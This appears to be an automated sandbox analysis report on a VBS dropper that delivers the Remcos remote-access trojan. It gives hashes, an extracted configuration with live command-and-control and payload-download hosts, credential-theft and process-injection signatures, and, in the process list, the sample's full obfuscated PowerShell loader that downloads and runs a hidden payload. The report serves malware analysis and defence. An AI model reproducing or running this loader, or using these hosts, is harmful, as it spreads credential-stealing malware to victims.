Analysis
-
max time kernel
119s -
max time network
115s -
platform
windows10-1703_x64 -
resource
win10-20240404-en -
resource tags
arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system -
submitted
13-08-2024 14:41
Static task
static1
Behavioral task
behavioral1
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win7-20240705-en
Behavioral task
behavioral2
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win10-20240404-en
Behavioral task
behavioral3
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win10v2004-20240802-en
Behavioral task
behavioral4
Sample
buttersmoothkitchenapparealssilk.vbs
Resource
win11-20240802-en
General
-
Target
buttersmoothkitchenapparealssilk.vbs
-
Size
113KB
-
MD5
76326ac1e6d011a8ebcba393ae837027
-
SHA1
7522980c1732232015f991e0acde8317662430a2
-
SHA256
898a32ace081284c9ac01b3a33a3b000abab7f4e207a6f8e1a7ae213e1e3cdf5
-
SHA512
829a7a45944a055ca9723e835319b1c919eb895c720c38040154aaf836184aea33a849e71f1b4a7cd9f191265f4cc0809de7ddc53a5cbd3c9b8eaf989e138e99
-
SSDEEP
1536:MkLcccOgt5pzwUGw3VUJW4Wrle/PhG+/kery+bG8:Xgt5pVGw3dS7b
Malware Config
Extracted
http://servidorwindows.ddns.com.br/Files/vbs.jpeg
http://servidorwindows.ddns.com.br/Files/vbs.jpeg
Extracted
remcos
RemoteHost
serversw.duckdns.org:6875
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
nert
-
keylog_path
%Temp%
-
mouse_option
false
-
mutex
Rmc-6K7C75
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Credentials from Password Stores: Credentials from Web Browsers 1 TTPs
Malicious Access or copy of Web Browser Credential store.
-
Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
Processes:
resource yara_rule behavioral2/memory/4720-75-0x0000000000400000-0x0000000000424000-memory.dmp Nirsoft behavioral2/memory/984-73-0x0000000000400000-0x0000000000478000-memory.dmp Nirsoft behavioral2/memory/4876-83-0x0000000000400000-0x0000000000462000-memory.dmp Nirsoft -
NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
Processes:
resource yara_rule behavioral2/memory/4876-83-0x0000000000400000-0x0000000000462000-memory.dmp MailPassView -
NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
Processes:
resource yara_rule behavioral2/memory/984-73-0x0000000000400000-0x0000000000478000-memory.dmp WebBrowserPassView -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid Process 3 4724 powershell.exe 6 4724 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
Processes:
powershell.exepowershell.exepid Process 1520 powershell.exe 4724 powershell.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
Processes:
RegAsm.exedescription ioc Process Key opened \REGISTRY\USER\S-1-5-21-4106386276-4127174233-3637007343-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts RegAsm.exe -
Suspicious use of SetThreadContext 4 IoCs
Processes:
powershell.exeRegAsm.exedescription pid Process procid_target PID 4724 set thread context of 2720 4724 powershell.exe 75 PID 2720 set thread context of 984 2720 RegAsm.exe 76 PID 2720 set thread context of 4876 2720 RegAsm.exe 77 PID 2720 set thread context of 4720 2720 RegAsm.exe 78 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
Processes:
RegAsm.exeRegAsm.exeRegAsm.exeRegAsm.exedescription ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language RegAsm.exe -
Suspicious behavior: EnumeratesProcesses 12 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exeRegAsm.exepid Process 1520 powershell.exe 1520 powershell.exe 1520 powershell.exe 4724 powershell.exe 4724 powershell.exe 4724 powershell.exe 984 RegAsm.exe 984 RegAsm.exe 4720 RegAsm.exe 4720 RegAsm.exe 984 RegAsm.exe 984 RegAsm.exe -
Suspicious behavior: MapViewOfSection 3 IoCs
Processes:
RegAsm.exepid Process 2720 RegAsm.exe 2720 RegAsm.exe 2720 RegAsm.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exeRegAsm.exedescription pid Process Token: SeDebugPrivilege 1520 powershell.exe Token: SeDebugPrivilege 4724 powershell.exe Token: SeDebugPrivilege 4720 RegAsm.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
RegAsm.exepid Process 2720 RegAsm.exe -
Suspicious use of WriteProcessMemory 28 IoCs
Processes:
WScript.exepowershell.exepowershell.exeRegAsm.exedescription pid Process procid_target PID 4740 wrote to memory of 1520 4740 WScript.exe 72 PID 4740 wrote to memory of 1520 4740 WScript.exe 72 PID 1520 wrote to memory of 4724 1520 powershell.exe 74 PID 1520 wrote to memory of 4724 1520 powershell.exe 74 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 4724 wrote to memory of 2720 4724 powershell.exe 75 PID 2720 wrote to memory of 984 2720 RegAsm.exe 76 PID 2720 wrote to memory of 984 2720 RegAsm.exe 76 PID 2720 wrote to memory of 984 2720 RegAsm.exe 76 PID 2720 wrote to memory of 984 2720 RegAsm.exe 76 PID 2720 wrote to memory of 4876 2720 RegAsm.exe 77 PID 2720 wrote to memory of 4876 2720 RegAsm.exe 77 PID 2720 wrote to memory of 4876 2720 RegAsm.exe 77 PID 2720 wrote to memory of 4876 2720 RegAsm.exe 77 PID 2720 wrote to memory of 4720 2720 RegAsm.exe 78 PID 2720 wrote to memory of 4720 2720 RegAsm.exe 78 PID 2720 wrote to memory of 4720 2720 RegAsm.exe 78 PID 2720 wrote to memory of 4720 2720 RegAsm.exe 78
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\buttersmoothkitchenapparealssilk.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:4740 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBr⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑a⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑c⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑C8⫮ ≵ ₪ ㊎ ㆑LwBz⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cgB2⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑dwBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bu⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑LgBj⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑cg⫮ ≵ ₪ ㊎ ㆑v⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑aQBs⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑cw⫮ ≵ ₪ ㊎ ㆑v⫮ ≵ ₪ ㊎ ㆑HY⫮ ≵ ₪ ㊎ ㆑YgBz⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑agBw⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑ZQBi⫮ ≵ ₪ ㊎ ㆑EM⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bgB0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑E4⫮ ≵ ₪ ㊎ ㆑ZQB3⫮ ≵ ₪ ㊎ ㆑C0⫮ ≵ ₪ ㊎ ㆑TwBi⫮ ≵ ₪ ㊎ ㆑Go⫮ ≵ ₪ ㊎ ㆑ZQBj⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑Hk⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑bQ⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑E4⫮ ≵ ₪ ㊎ ㆑ZQB0⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑VwBl⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑QwBs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgB5⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑ew⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑dwBl⫮ ≵ ₪ ㊎ ㆑GI⫮ ≵ ₪ ㊎ ㆑QwBs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBE⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑dwBu⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBh⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑R⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQ⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑aw⫮ ≵ ₪ ㊎ ㆑p⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑fQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑a⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑BX⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑aQB0⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑LQBI⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑JwBG⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑aQBs⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑bw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑bwB3⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑YQB0⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bm⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑bwBt⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bs⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBr⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑t⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑bwBy⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑ZwBy⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑dQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑QwBv⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑bwBy⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑UgBl⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑B9⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBu⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑dQBs⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑KQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Hs⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bQBh⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑ZQBU⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Fs⫮ ≵ ₪ ㊎ ㆑UwB5⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑LgBU⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑B0⫮ ≵ ₪ ㊎ ㆑C4⫮ ≵ ₪ ㊎ ㆑RQBu⫮ ≵ ₪ ㊎ ㆑GM⫮ ≵ ₪ ㊎ ㆑bwBk⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑bgBn⫮ ≵ ₪ ㊎ ㆑F0⫮ ≵ ₪ ㊎ ㆑Og⫮ ≵ ₪ ㊎ ㆑6⫮ ≵ ₪ ㊎ ㆑FU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Dg⫮ ≵ ₪ ㊎ ㆑LgBH⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BT⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑cgBp⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑o⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bv⫮ ≵ ₪ ㊎ ㆑Hc⫮ ≵ ₪ ㊎ ㆑bgBs⫮ ≵ ₪ ㊎ ㆑G8⫮ ≵ ₪ ㊎ ㆑YQBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BE⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑cwB0⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑cgB0⫮ ≵ ₪ ㊎ ㆑EY⫮ ≵ ₪ ㊎ ㆑b⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑Gc⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑Jw⫮ ≵ ₪ ㊎ ㆑8⫮ ≵ ₪ ㊎ ㆑Dw⫮ ≵ ₪ ㊎ ㆑QgBB⫮ ≵ ₪ ㊎ ㆑FM⫮ ≵ ₪ ㊎ ㆑RQ⫮ ≵ ₪ ㊎ ㆑2⫮ ≵ ₪ ㊎ ㆑DQ⫮ ≵ ₪ ㊎ ㆑XwBT⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑QQBS⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑Pg⫮ ≵ ₪ ㊎ ㆑+⫮ ≵ ₪ ㊎ ㆑Cc⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑RgBs⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑Zw⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑D0⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Dw⫮ ≵ ₪ ㊎ ㆑P⫮ ≵ ₪ ㊎ ㆑BC⫮ ≵ ₪ ㊎ ㆑EE⫮ ≵ ₪ ㊎ ㆑UwBF⫮ ≵ ₪ ㊎ ㆑DY⫮ ≵ ₪ ㊎ ㆑N⫮ ≵ ₪ ㊎ ㆑Bf⫮ ≵ ₪ ㊎ ㆑EU⫮ ≵ ₪ ㊎ ㆑TgBE⫮ ≵ ₪ ㊎ ㆑D4⫮ ≵ ₪ ㊎ ㆑Pg⫮ ≵ ₪ ㊎ ㆑n⫮ ≵ ₪ ㊎ ㆑Ds⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑9⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bp⫮ ≵ ₪ ㊎ ㆑G0⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑V⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑u⫮ ≵ ₪ ㊎ ㆑Ek⫮ ≵ ₪ ㊎ ㆑bgBk⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑e⫮ ≵ ₪ ㊎ ㆑BP⫮ ≵ ₪ ㊎ ㆑GY⫮ ≵ ₪ ㊎ ㆑K⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑k⫮ ≵ ₪ ㊎ ㆑HM⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑Bh⫮ ≵ ₪ ㊎ ㆑HI⫮ ≵ ₪ ㊎ ㆑d⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑ZQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑PQ⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ ㆑aQBt⫮ ≵ ₪ ㊎ ㆑GE⫮ ≵ ₪ ㊎ ㆑ZwBl⫮ ≵ ₪ ㊎ ㆑FQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑LgBJ⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑Hg⫮ ≵ ₪ ㊎ ㆑TwBm⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bl⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑BG⫮ ≵ ₪ ㊎ ㆑Gw⫮ ≵ ₪ ㊎ ㆑YQBn⫮ ≵ ₪ ㊎ ㆑Ck⫮ ≵ ₪ ㊎ ㆑Ow⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Gk⫮ ≵ ₪ ㊎ ㆑Zg⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑Cg⫮ ≵ ₪ ㊎ ㆑J⫮ ≵ ₪ ㊎ ㆑Bz⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑YQBy⫮ ≵ ₪ ㊎ ㆑HQ⫮ ≵ ₪ ㊎ ㆑SQBu⫮ ≵ ₪ ㊎ ㆑GQ⫮ ≵ ₪ ㊎ ㆑ZQB4⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBn⫮ ≵ ₪ ㊎ ㆑GU⫮ ≵ ₪ ㊎ ㆑I⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑w⫮ ≵ ₪ ㊎ ㆑C⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑LQBh⫮ ≵ ₪ ㊎ ㆑G4⫮ ≵ ₪ ㊎ ㆑Z⫮ ≵ ₪ ㊎ ㆑⫮ ≵ ₪ ㊎ ㆑g⫮ ≵ ₪ ㊎ ㆑CQ⫮ ≵ ₪ ㊎ 